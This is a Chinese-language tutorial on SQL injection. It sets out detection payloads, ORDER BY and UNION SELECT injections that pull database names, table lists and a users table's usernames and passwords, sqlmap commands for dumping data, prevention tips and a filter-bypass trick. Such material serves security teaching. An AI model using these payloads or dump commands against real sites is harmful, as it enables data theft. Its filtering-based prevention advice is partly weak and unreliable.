【网络安全】SQL注入漏洞详解

SQL 注入漏洞

1.了解

SQL注入也称SQL注码，是发生于应用程序与数据库层的安全漏洞。在输入的字符串中注入SQL指令，如果出现忽略了字符检查，那么就会发生SQL注入漏洞，恶意指令就会被当成正常的SQL指令运行。

2.详解

成因分析：用户进行查询数据等操作时(比如查找电影名称)，如果输入的不是正常查询字词而是SQL语句，导致原有的SQL语句发生改变，且程序没有对输入内容作出限制，那么就会导致漏洞产生。

---

初步尝试：

一般输入SQL关键字拼接语句内容来进行检查。

---

攻击手段：

1.检测是否有SQL注入漏洞

输入：查询内容’ and 1=1#

在原有查询结束后会执行判断1=1，如果判断正确才会有输出

#作用是移除(注释)后续SQL语句

输入：查询内容’ and 1=2#

两次尝试，1=1正常输出，1=2错误输出，证明SQL语句生效，存在SQL注入漏洞。

2.利用sql注入漏洞

判断列/字段数:order by

输入：查询内容’ order by 1#

如果正常输出，则说明数据库至少有一列

再次输入 ’ order by 2# …直到没有正常输出

可知数据库有多少列

联合查询其他信息：union select [sql1] [sql2]

输入：查询内容’ union select user(),database()#

user()：返回当前数据库连接用户

database()：返回当前数据库名称

联合查询表：

输入：查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#

可以获取数据库所有表的名字

读取所需表的内容：

输入：查询内容’ union select user,password from users#

可以查询users表的用户名和密码

---

3. SQLmap工具

在网上获取SQLmap工具，访问官网sqlmap.org

在命令行窗口使用，cd到相应文件夹中,如何输入python sqlmap.py执行。

检测漏洞：

python sqlmap.py -u “网址” --cookie=“F12->点击网络->刷新->查找cookie”

获取所有数据库名：

python sqlmap.py -u “ 网址” --cookie=“” --dbs

dbs ：database server

获取指定数据库的所有表名：

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 --tables

获取指定数据库列/表项：

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --columns

-D ：指定获取的数据库名

-T ：指定获取表名

–columns： 列出表项/列

获取数据：

python sqlmap.py -u “ 网址” --cookie=“” -D 数据库名 -T 表名 --dump

–dump: 读取数据

---

4. SQL漏洞预防

过滤用户输入内容，不让输入sql语句。

将特殊符号替换成空，或者判断用户输入SQL语句就终止执行。

将特殊符号前面都加一个/，使SQL语句失效。

在原有SQL语句最后添加限制，如LIMIT 1。

做SQL预处理PDO：配合正确的过滤和SQL语句能避免SQL注入。

---

5.绕过方法

不输入特殊字符

比如一个数据库名为 dvwa

可以将’dvwa’ 换成database() 或十六进制

例子：查询内容’ union select table_name,table_schema from information_schema.tables where table_schema = ‘数据库名称’#

改为：查询内容 union select table_name,table_schema from information_schema.tables where table_schema = database()#